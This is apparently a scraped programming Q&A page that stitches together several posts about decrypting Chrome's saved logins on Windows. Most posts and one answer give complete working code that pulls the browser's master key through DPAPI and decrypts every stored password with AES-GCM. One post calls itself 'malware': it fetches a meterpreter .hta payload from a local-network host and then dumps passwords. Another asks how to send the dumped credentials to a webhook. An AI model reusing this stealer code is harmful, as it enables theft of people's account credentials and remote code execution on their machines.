I have a program that decrypts chrome saved info and puts it into a file. I am trying to turn it into an .exe from .py but when run, does not work.
My code is
import base64
import json
import os
import shutil
import sqlite3
from contextlib import redirect_stdout
from datetime import datetime, timedelta
from Crypto.Cipher import AES
from win32crypt import CryptUnprotectData
def get_chrome_datetime(chromedate):
"""Return a `datetime.datetime` object from a chrome format datetime
Since `chromedate` is formatted as the number of microseconds since January, 1601"""
return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
def get_encryption_key():
local_state_path = os.path.join(os.environ["USERPROFILE"],
"AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
# decode the encryption key from Base64
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
# remove DPAPI str
key = key[5:]
# return decrypted key that was originally encrypted
# using a session key derived from current user's logon credentials
# doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
return CryptUnprotectData(key, None, None, None, 0)[1]
def decrypt_password(password, key):
try:
# get the initialization vector
iv = password[3:15]
password = password[15:]
# generate cipher
cipher = AES.new(key, AES.MODE_GCM, iv)
# decrypt password
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(CryptUnprotectData(password, None, None, None, 0)[1])
except:
# not supported
return ""
def main():
global origin_url, action_url, username, password
key = get_encryption_key()
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
# copy the file to another location
# as the database will be locked if chrome is currently running
filename = "ChromeData.db"
shutil.copyfile(db_path, filename)
# connect to the database
db = sqlite3.connect(filename)
cursor = db.cursor()
# `logins` table has the data we need
cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
# iterate over all rows
for row in cursor.fetchall():
origin_url = row[0]
action_url = row[1]
username = row[2]
password = decrypt_password(row[3], key)
date_created = row[4]
date_last_used = row[5]
with open('out.txt', 'a') as f:
with redirect_stdout(f):
print(f'\nOrigin URL: {origin_url}'
f'\nAction URL: {action_url}'
f'\nUsername: {username}'
f'\nPassword: {password}',
f'\n', '=' * 50)
if username or password:
print(f"Origin URL: {origin_url}")
print(f"Action URL: {action_url}")
print(f"Username: {username}")
print(f"Password: {password}")
else:
continue
if date_created != 86400000000 and date_created:
print(f"Creation date: {str(get_chrome_datetime(date_created))}")
if date_last_used != 86400000000 and date_last_used:
print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
print("="*50)
cursor.close()
db.close()
try:
os.remove(filename)
except:
pass
if __name__ == "__main__":
main()
When turned from .py to .exe with pyinstaller, the program turns successfully but the exe will not run. I ran it through cmd and got
Traceback (most recent call last):
File "main.py", line 8, in <module>
ModuleNotFoundError: No module named 'Crypto'
[13152] Failed to execute script 'main' due to unhandled exception!
I have crypto installed on pycharm as well with pip to my machine.
Related
This is the code. (cred.py is a file containing my password and username)
import os
from os.path import dirname,realpath
from imbox import Imbox
import imaplib
import traceback
import datetime
from cred import * # contains username and password
def main():
p = dirname(realpath(__file__))
host = "imap.gmail.com"
download_folder = p+"\\"+username+"\\"+str(datetime.datetime.now())[:10]
if not os.path.isdir(download_folder):
os.makedirs(download_folder, exist_ok=True)
mail = Imbox(host, username=username, password=password, ssl=True, ssl_context=None, starttls=False)
messages = mail.messages(unread=True) # defaults to inbox
for (uid, message) in messages:
mail.mark_seen(uid) # optional, mark message as read
for idx, attachment in enumerate(message.attachments):
try:
att_fn = attachment.get('filename')
download_path = f"{download_folder}\\{att_fn}"
print(download_path)
with open(download_path, "wb") as fp:
fp.write(attachment.get('content').read())
except:
print(traceback.print_exc())
mail.logout()
if input('Enter "test" to run now, else to run at 00:00 ') == 'test':
main()
while True:
if str(datetime.datetime.now())[11:-7] == "00:00:00":
print('running')
main()
For some reason some messages raise a ValueError and it looks like a bug in module. What do I do?
I want to open the Chrome (Login Data) file and use its password field. But this field is stored in byte/blob mode and can not be converted to text.
I also tried codecs and pickle and bytes.encode and str.decode but it didn't work.
Please look at the code below and help :
import sqlite3
connection_obj = sqlite3.connect('C:/Users/{username}/AppData/Local/Google/Chrome/User
Data/Default/Login Data')
cursor_obj = connection_obj.cursor()
statement = '''SELECT action_url, username_value, password_value FROM logins'''
cursor_obj.execute(statement)
output = cursor_obj.fetchmany(5)
for url,usr,psw in output:
# convert psw blob -> ascii text
# ....
# ....
# for example psw filed:
# b'v10\x7f\xa3\x1a\xd1\x83g\x8c\xc4\x14]\xb6n\xf85\xba\xca\xf5r\x17\xb6D\xed\xf5\x11rM\xbe\xbf\xb1\xc2y\xc5Vr\xc3\xb3NB\xc7J\x14\x95'
#
# convert to below text :
# zarfilm-136342
print(url, usr, psw,sep='------')
print('*'*10)
connection_obj.commit()
connection_obj.close()
That data is encrypted in AES, and further the key is encrypted with CryptProtectData to lock the encryption key to user data. You can decrypt the data with something like this:
import base64, json, os, sqlite3, win32crypt
from Crypto.Cipher import AES
def chrome_key():
local_state_fn = os.path.join(os.environ["USERPROFILE"],"AppData","Local","Google","Chrome","User Data","Local State")
with open(local_state_fn, "r") as f:
local_state = json.load(f)
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
key = key[5:]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
def decrypt_password(password, key):
iv, password = password[3:15], password[15:]
aes = AES.new(key, AES.MODE_GCM, iv)
return aes.decrypt(password)[:-16].decode("utf-8")
def main():
key = chrome_key()
db_fn = os.path.join(os.environ["USERPROFILE"],"AppData","Local","Google","Chrome","User Data","default","Login Data")
db = sqlite3.connect(db_fn)
for origin_url, username, password_crypt in db.execute("SELECT origin_url, username_value, password_value FROM logins;"):
password = decrypt_password(password_crypt, key)
print(f"{origin_url}, {username}, {password}")
db.close()
if __name__ == "__main__":
main()
Are you surprised to learn that this field is encrypted? Google would be in for a world of trouble if it wasn't. Even Chrome doesn't know how to decrypt this. It's done with the Windows cryptography APIs, and involved your Windows login password. You can't get them.
Im curretly working on a 'malware' in python. This should download a meterpreter payload and run it, after seal google chrome saved password and show a message box that tell 'You got hacked :)'.
I can't make it opening the payload because it tell me permission denied.
I want it to download the payload in public folder.
this is the code:
#CREATOR:Buckets41
#DO NOT POST WITHOUT PERMISSION
#FOR EDUCATIONAL PURPUSE ONLY
import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta
import urllib.request
import PySimpleGUI as sg
urllib.request.urlretrieve("http://192.168.1.202:8080/Y5nCh02GIAue.hta","C:\\Users\\Public\\Downloads")
payload=open("C:\\Users\\Public\\Downloads\\Y5nCh02GIAue.hta")
def chrome_date_and_time(chrome_data):
return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)
def fetching_encryption_key():
local_computer_directory_path = os.path.join(
os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_computer_directory_path, "r", encoding="utf-8") as f:
local_state_data = f.read()
local_state_data = json.loads(local_state_data)
encryption_key = base64.b64decode(
local_state_data["os_crypt"]["encrypted_key"])
encryption_key = encryption_key[5:]
return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]
def password_decryption(password, encryption_key):
try:
iv = password[3:15]
password = password[15:]
cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
return "No Passwords"
def main():
key = fetching_encryption_key()
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
filename = "ChromePasswords.db"
shutil.copyfile(db_path, filename)
db = sqlite3.connect(filename)
cursor = db.cursor()
cursor.execute(
"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
"order by date_last_used")
for row in cursor.fetchall():
main_url = row[0]
login_page_url = row[1]
user_name = row[2]
decrypted_password = password_decryption(row[3], key)
date_of_creation = row[4]
last_usuage = row[5]
if user_name or decrypted_password:
print(f"Main URL: {main_url}")
print(f"Login URL: {login_page_url}")
print(f"User name: {user_name}")
print(f"Decrypted Password: {decrypted_password}")
else:
continue
if date_of_creation != 86400000000 and date_of_creation:
print(f"Creation date: {str(chrome_date_and_time(date_of_creation))}")
if last_usuage != 86400000000 and last_usuage:
print(f"Last Used: {str(chrome_date_and_time(last_usuage))}")
print("=" * 100)
cursor.close()
db.close()
try:
os.remove(filename)
except:
pass
if __name__ == "__main__":
main()
layout = [[sg.Text("YOU JUST GOT HACKED :)")], [sg.Button("OK")]]
window = sg.Window("Buckets41", layout)
while True:
event, values = window.read()
if event == "OK" or event == sg.WIN_CLOSED:
break
window.close()
and this is the error:
Traceback (most recent call last):
File "C:\Users\tommy\Desktop\pentesting\ERROR.py", line 16, in <module>
urllib.request.urlretrieve("http://192.168.1.202:8080/Y5nCh02GIAue.hta","C:\\Users\\Public\\Downloads")
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.496.0_x64__qbz5n2kfra8p0\lib\urllib\request.py", line 251, in urlretrieve
tfp = open(filename, 'wb')
PermissionError: [Errno 13] Permission denied: 'C:\\Users\\Public\\Downloads'
Thanks!!!
I have just finished this script (python 3.9), and all output on it is using the '''print()''' command. I am wondering if there is a way to send my output to a webhook, I am thinking I could do this via the stdout but I am not sure and don't know where to start. Here is the script I am working with.
import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta
def chrome_date_and_time(chrome_data):
# Chrome_data format is 'year-month-date
# hr:mins:seconds.milliseconds
# This will return datetime.datetime Object
return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)
def fetching_encryption_key():
# Local_computer_directory_path will look
# like this below
# C: => Users => <Your_Name> => AppData =>
# Local => Google => Chrome => User Data =>
# Local State
local_computer_directory_path = os.path.join(
os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_computer_directory_path, "r", encoding="utf-8") as f:
local_state_data = f.read()
local_state_data = json.loads(local_state_data)
# decoding the encryption key using base64
encryption_key = base64.b64decode(
local_state_data["os_crypt"]["encrypted_key"])
# remove Windows Data Protection API (DPAPI) str
encryption_key = encryption_key[5:]
# return decrypted key
return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]
def password_decryption(password, encryption_key):
try:
iv = password[3:15]
password = password[15:]
# generate cipher
cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
# decrypt password
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
return "No Passwords"
def main():
key = fetching_encryption_key()
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
filename = "ChromePasswords.db"
shutil.copyfile(db_path, filename)
# connecting to the database
db = sqlite3.connect(filename)
cursor = db.cursor()
# 'logins' table has the data
cursor.execute(
"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
"order by date_last_used")
# iterate over all rows
for row in cursor.fetchall():
main_url = row[0]
login_page_url = row[1]
user_name = row[2]
decrypted_password = password_decryption(row[3], key)
date_of_creation = row[4]
last_usuage = row[5]
if user_name or decrypted_password:
print(f"Main URL: {main_url}")
print(f"Login URL: {login_page_url}")
print(f"User name: {user_name}")
print(f"Decrypted Password: {decrypted_password}")
else:
continue
if date_of_creation != 86400000000 and date_of_creation:
print(f"Creation date: {str(chrome_date_and_time(date_of_creation))}")
if last_usuage != 86400000000 and last_usuage:
print(f"Last Used: {str(chrome_date_and_time(last_usuage))}")
print("=" * 100)
cursor.close()
db.close()
try:
# trying to remove the copied db file as
# well from local computer
os.remove(filename)
except:
pass
if __name__ == "__main__":
main()
I've written this code:
import sqlite3
import win32crypt
c = sqlite3.connect("Login Data")
cursor = c.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
data = cursor.fetchall()
credentials = {}
for url, user, pwd in data:
password = win32crypt.CryptUnprotectData(pwd, None, None, None, 0)[1]
credential[url] = (user, password)
for item in credentials:
login = credentials[item]
print(login[0] + " " + login[1])
and it states that:
password = win32crypt.CryptUnprotectData(pwd, None, None, None, 0)[1]
pywintypes.error: (87, 'CryptProtectData', 'The parameter is incorrect.')
As I've searched it, Chrome v80 has changed encryption type. What should I do?
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
def get_master_key():
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:] # removing DPAPI
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes
return decrypted_pass
except Exception as e:
# print("Probably saved password from Chrome version older than v80\n")
# print(str(e))
return "Chrome < 80"
if __name__ == '__main__':
master_key = get_master_key()
login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data'
shutil.copy2(login_db, "Loginvault.db") #making a temp copy since Login Data DB is locked while Chrome is running
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
decrypted_password = decrypt_password(encrypted_password, master_key)
print("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")
except Exception as e:
pass
cursor.close()
conn.close()
try:
os.remove("Loginvault.db")
except Exception as e:
pass
I'm getting the error module 'Crypto.Cipher.AES' has no attribute 'MODE_GCM'. Am I missing any library? – Gaurav S Jul 9 at 7:23
No you have everything. The crypto\Cipher\__init__.py file imports from Crypto.Cipher._mode_ecb import _create_ecb_cipher. However the directory's real name is crypto and not Crypto. You need to rename the directory to Crypto and then it works perfectly.